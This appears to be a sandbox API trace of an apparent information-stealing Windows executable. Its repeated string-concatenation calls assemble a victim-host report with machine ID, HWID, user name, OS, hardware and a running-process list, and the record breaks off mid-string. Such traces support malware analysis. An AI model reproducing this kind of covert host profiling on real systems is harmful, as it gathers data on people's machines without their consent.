[0054.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d988 | out: hHeap=0x670000) returned 1
[0054.813] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [", lpString2="536" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536"
[0054.813] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n"
[0054.813] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.813] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- "
[0054.813] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe"
[0054.813] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe ["
[0054.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67daa8
[0054.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da48
[0054.814] GetLastError () returned 0x7a
[0054.814] SetLastError (dwErrCode=0x7a)
[0054.814] GetLastError () returned 0x7a
[0054.814] SetLastError (dwErrCode=0x7a)
[0054.814] GetLastError () returned 0x7a
[0054.814] SetLastError (dwErrCode=0x7a)
[0054.814] GetLastError () returned 0x7a
[0054.815] SetLastError (dwErrCode=0x7a)
[0054.815] GetLastError () returned 0x7a
[0054.815] SetLastError (dwErrCode=0x7a)
[0054.815] GetLastError () returned 0x7a
[0054.815] SetLastError (dwErrCode=0x7a)
[0054.815] GetLastError () returned 0x7a
[0054.815] SetLastError (dwErrCode=0x7a)
[0054.815] GetLastError () returned 0x7a
[0054.815] SetLastError (dwErrCode=0x7a)
[0054.815] GetLastError () returned 0x7a
[0054.815] SetLastError (dwErrCode=0x7a)
[0054.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.815] GetLastError () returned 0x7a
[0054.815] SetLastError (dwErrCode=0x7a)
[0054.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da48 | out: hHeap=0x670000) returned 1
[0054.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67daa8 | out: hHeap=0x670000) returned 1
[0054.816] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [", lpString2="620" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620"
[0054.816] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n"
[0054.816] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.816] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 